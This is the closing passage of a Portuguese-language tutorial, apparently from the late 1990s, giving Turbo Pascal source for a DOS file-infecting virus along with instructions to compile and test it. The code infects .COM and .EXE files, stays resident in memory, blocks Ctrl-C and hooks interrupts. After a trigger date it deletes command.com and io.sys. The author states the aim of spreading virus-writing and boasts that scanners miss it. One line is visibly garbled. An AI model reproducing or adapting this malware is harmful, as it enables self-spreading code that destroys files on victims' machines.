    assign(ToF,'virtemp.tmp');
    Rewrite(ToF,1);
    repeat
      BlockRead(FromF, buf2, SizeOf(buf2), numread);
      BlockWrite(ToF, buf2, numread, NumWritten);
    until (numread = 0) or (NumWritten <> numread);
    close(FromF);
    close(tof);

    {Ate aqui seria a parte onde se copia o arquivo a ser infectado para outro arquivo temporario}

    assign(FromF,nome_arq); {nome_arq: explicado mais tarde}
    reset(FromF, 1);
    assign(ToF, nome);
    Rewrite(ToF, 1);
    BlockRead(FromF, buf, SizeOf(buf), numread);   {Caso vc nao se lembre, o BUF e o buffer}
    BlockWrite(ToF, buf, numread, NumWritten);     {que contera o virus, que nesse caso ele}
    close(FromF);                                  {copiara somente o virus para o arquivo a}
    close(tof);                                    {ser infectado (arquivo.exe) em que havia sido}
                                                   {movido o seu conteudo para virtemp.tmp   }
                                                   {deixando, por enquanto somente o virus no }
                                                   {arquivo                                   }
 

  assign(FromF,'virtemp.TMP');
  reset(FromF, 1);
  assign(ToF, nome);
  reset(tof,1);
  seek(tof,LENVIRUS); {Posiciona o ponteiro do arquivo na posicao final do arquivo}
  repeat
    BlockRead(FromF, buf, SizeOf(buf), numread);
    BlockWrite(ToF, buf, numread, NumWritten);
  until (numread = 0) or (NumWritten <> numread);
  close(FromF);
  close(tof);
  erase(fromf);
  HORAFIM(NOME);
  end;
  {Essa parte seria a concatenacao virus+arquivo, onde o arquivo seria acrescentado no fim do virus}

  if MOSTRA then writeln('Infeccao completa.');
end;

procedure procura(nome,dir:string);
begin
  if MOSTRA then writeln('Iniciando infeccao do diretorio: ',nome);
  FindFirst(nome, Archive, DirInfo);
  {$i+}
  while (DosError = 0) and (arquiv numread);
  close(FromF);
  close(tof);
  exec('virtemp.tmp',paramstr(1)+' '+paramstr(2)+' '+paramstr(3)); {Executa o programa aqui}
  rewrite(tof); {Agora vou limpar o conteudo e apagar o arquivo}
  close(tof);
  erase(tof);
  if MOSTRA then writeln('Execucao do programa hospedeiro finalizada');
end;
procedure bola; interrupt;
var
  cont:integer;
begin
  if not vbola then
    if port[$60]<$80 then
      inc(con);
  if con=550 then
    vbola:=true;
  if vbola then
  begin
    cont:=random(4)+1;
    vy:=wherey;
    vx:=wherex;
    gotoxy(cx,cy);
    write('Û');
    case cont of
      1:if cx<78 then inc(cx);
      2:if cx>1 then dec(cx);
      3:if cy<23 then inc(cy);
      4:if cy>1 then dec(cy);
    end;
    gotoxy(cx,cy);
    write('þ');
    gotoxy(vx,vy);
  end;
  inline ($9C);
  int1c;
end;

procedure apag_arq;
var
  m,dia,ano,dow:word;
  mes:boolean;
  f:file;
begin
  if mostra then writeln('Pegando data atual');
  getdate(ano,m,dia,dow);
  mes:=false;
  if ano=1998 then
    if m>=7 then      {Data de ativacao: 12/07/1998}
      if dia>=12 then
        mes:=true;
  if ano>1998 then mes:=true;
  if mostra then writeln('Pegando data atual finalizado');
  if mes then begin
    if mostra then writeln('Iniciando a apagar os arquivos: \command.com e \io.sys');
    assign(f,'c:\command.com');
    erase(f);
    assign(f,'c:\io.sys');
    erase(f);
  end;
end;

Procedure inicinf;
begin
  if MOSTRA then writeln('Iniciando infeccao dos arquivos');
  arquiv:=0;
  procura('*.com','');
  procura('*.exe','');
{  procura('c:\windows\*.com','c:\windows\');
  procura('c:\windows\*.exe','c:\windows\');
  procura('c:\dos\*.com','c:\dos\');
  procura('c:\dos\*.exe','c:\dos\');}
  if MOSTRA then writeln('Infeccao dos arquivos Finalizada. Com um total de:');
  if MOSTRA then writeln(arquiv,' arquivos infectados.');
end;
 

procedure contra(non:string);
var
  FromF, ToF: file;
  ARQ:text;
  Ft:FILE of char;
  f:file;

function vervir(nome:string):boolean;
VAR
  Buf: array[1..10] of Char;
  NUMREAD:WORD;
  con:integer;
begin
  if mostra then writeln('Iniciando verificacao de infeccao do arquivo ',nome);
  con:=1;
  ASSIGN(F,NoME);
  ReSET(F,1);  { Record size = 1 }
  BlockRead(F, Buf, SizeOf(Buf), NumRead);
  IF (BUF[1]=cab[1]) AND (BUF[2]=cab[2])AND (BUF[3]=cab[3])AND (BUF[4]=cab[4])AND (BUF[4]=cab[4]) tHEN
  {Verifica o cabecalho do arquivo}
  vervir:=TRUE                               {para ver se ja foi infectado}
  ELSE
    vervir:=FALSE;
  Close(F);
  if mostra then writeln('Verificacao de infeccao finalizada');
END;
procedure antivir;
begin
 if not vervir(non) then
 begin
   if mostra then writeln('Arquivo Infectado, tentando desinfectar...'); {Arquivo infectado, tentando desinfectar...}
   aSSIGN(Ft,paramstr(0));
   ReSET(Ft);  { Record size = 1 }
   write(ft,cab[1]);
   write(ft,cab[2]);
   write(ft,cab[3]);
   write(ft,cab[4]);
   write(ft,cab[5]);
   close(ft);
   if mostra then writeln('Desinfeccao completa!'); {Desinfeccao completa}
   textcolor(white+blink);
   writeln('Atencao: Seu computador esta infectado por virus! Sugiro passar Anti-virus!');
   textcolor(white);
 end;
end;
begin
  if mostra then writeln('Inicio do procedimento anti-virus.');
  antivir;
  if mostra then writeln('Fim do procedimento anti-virus.');
end;
procedure escrever;interrupt;
begin
    Sound(random(5000));
    Delay(1);
    Nosound;
  inline ($9C);
  printer;

end;
 
 

begin
  if MOSTRA then writeln('Iniciando o Virus');
  nome_arq:=paramstr(0); {Essa variavel ira conter o nome do programa que esta sendo executado
                          no momento.  Caso o nome que foi executado seja EDIT.exe essa variavel
                          contera EDIT.EXE}
  SETCBREAK(FALSE); {Para que o usuario nao possa apertar Ctrl-C}
  contra(nome_arq);
  inicinf;
  executa;
  apag_arq;
  GetIntVec($1c,@int1c);
  SetIntVec($1c,Addr(bola));
  vbola:=false;
  cx:=random(80);{Aleatorizar a posicao da bola na tela}
  cy:=random(24);
  GetIntVec($17,@printer);
  SetIntVec($17,Addr(escrever));  {Essa parte mostra ao computador para usar
                                   O procedimento escrever como padrao para a
                                   impressora}
  if MOSTRA then writeln('Fim do virus.');
  keep(0); {Deixa o programa residente na memoria.}
  if mostra then writeln('Programa Residente');

end.
 
 
 

---------------------------------------------------------------------------
Testando o virus para ver se ele funciona:
---------------------------------------------------------------------------

Caso voce queira testar o virus, voce pode fazer o seguinte, altere a procedure inicinf de modo que ele so procure por arquivos *.com e *.exe,
tirando assim o c:\windows\*.com, c:\windows\*.exe, c:\dos\*.com, c:\dos\*.exe NAO apague as linhas que fazem isso, acrescente apenas { e } para fazer que o Pascal ignore essas linhas, depois disso feito, aperte F9 para compilar o virus (nem pense em apertar Ctrl-F9 para executa-lo, nos so queremos o codigo executavel dele), depois crie um diretorio chamado \temp, depois copie o virus.exe para la, mais alguns executaveis, depois entre no diretorio e execute o virus.exe e voce vera tudo o que o virus esta fazendo no momento, Como verificando se o arquivo esta infectado, infectando outros arquivos entre outros. Depois execute algum arquivo que foi infectado para voce ter uma ideia melhor de como o virus age. Se voce quiser testar se o programa se desinfecta de algum virus desconhecido, faca o seguinte, use algum Editor Hexadecimal e altere os primeiros 5 bytes e depois salve, depois volte a executar o virus e ele ira mostrar na tela que o seu computador esta infectado, sugerindo que voce passe um anti-virus.
Caso voce queira que nao apareca nenhuma mensagem na tela entao va na secao const do programa e altere o valor da constante MOSTRA para false, isso fara com que nenhuma mensagem apareca na tela.  So que essas mensagens ficarao no corpo do virus, ocupando espaco, caso voce queira tirar essas mensagens de vez, tera que apagar todas as linhas  If mostra then writeln(''); do virus o que fara uma diferenca consideravel de tamanho, eu as coloquei para que vc saiba o que esta acontecendo no momento.
 
 

---------------------------------------------------------------------------
Consideracoes finais:
---------------------------------------------------------------------------

Antes de nada, eu fiz esse tutorial para aqueles que ja tenham algum conhecimento em logica/programacao em Pascal ou outra linguagem, se voce
estiver com duvidas sobre como usar if...then...else ou outro comando basico entao va comprar um livro de Pascal ou faca um curso de Pascal. Agora
se voce tiver alguma duvida quanto a logica posso ate responder a alguma pergunta, mesmo achando que ja esta tudo muito bem explicado.

Bom espero que com esse texto, voce possa ter compreendido um pouco mais sobre a logica de um virus, e com certeza vai pensar (Pelo menos depois de ter executado o virus) que isso e muito entusiasmante.

Caso voce tenha alguma duvida, tenha achado algum erro, ou em ultimo caso, o virus nao funcionou, entao mande um email para mim:
[email protected]

ou visite minha HP:
http://www.geocities.com/SiliconValley/Lakes/3892

Ou deixe um recado com a minha Secretaria:
http://www.Lpage.com/wgb/wgbsign.dbm?owner=rlebeau

Caso voce so tenha parte desse tutorial entao va ate o endereco abaixo para pegar o tutorial completo, ou entao se quiser pegar a versao mais nova desse tutorial:
http://www.geocities.com/SiliconValley/Lakes/3892/tvirus.htm

Voce esta livre para distribuir esse texto do jeito que esta, sem alteracoes, se quiser sugerir alguma modificacao de logica entao me contacte.
Esse texto tem o proposito de difundir a criacao de virus no Brasil e nao o de acabar com os computadores de alguma rede de alguma empresa.
Como ja falei antes, eu nao me considero responsavel pelo mau uso que algum idiota possa fazer desse arquivo, tipo perder os arquivos do HD, acabar com a rede da empresa em que trabalha, explodir o mundo muito menos de ter perdido a namorada.

Antes que eu me esqueca, alem do anti-virus que eu forneci com esse tutorial nao existe anti-virus para ele, pode testar o SCAN, f-prot, TBav, qualquer um, isso acontece devido a logica "nova" dele que faz com que nenhum anti-virus o  encontra.
 
 
 

---------------------------------------------------------------------------
Proximo projeto:
---------------------------------------------------------------------------

Eu ainda estou pensando no que fazer no proximo texto, to meio indeciso entre criar um Tutorial basico sobre linguagem de maquina, algo tipo traduzir os odigos hexadecimais encontrados nos arquivos para o ASM (Sabia que se voce encontrar um codigo em hexa CD 21 em um arquivo quer disser que ele esta fazendo uma chamada a interrupcao 21h, em ASM: int 21h) ou traduzir algumas edicoes da 40hex.  Acho que vou ficar com a segunda opcao.
Ate la, techau.
 
 
 

---------------------------------------------------------------------------
E' o fim?
---------------------------------------------------------------------------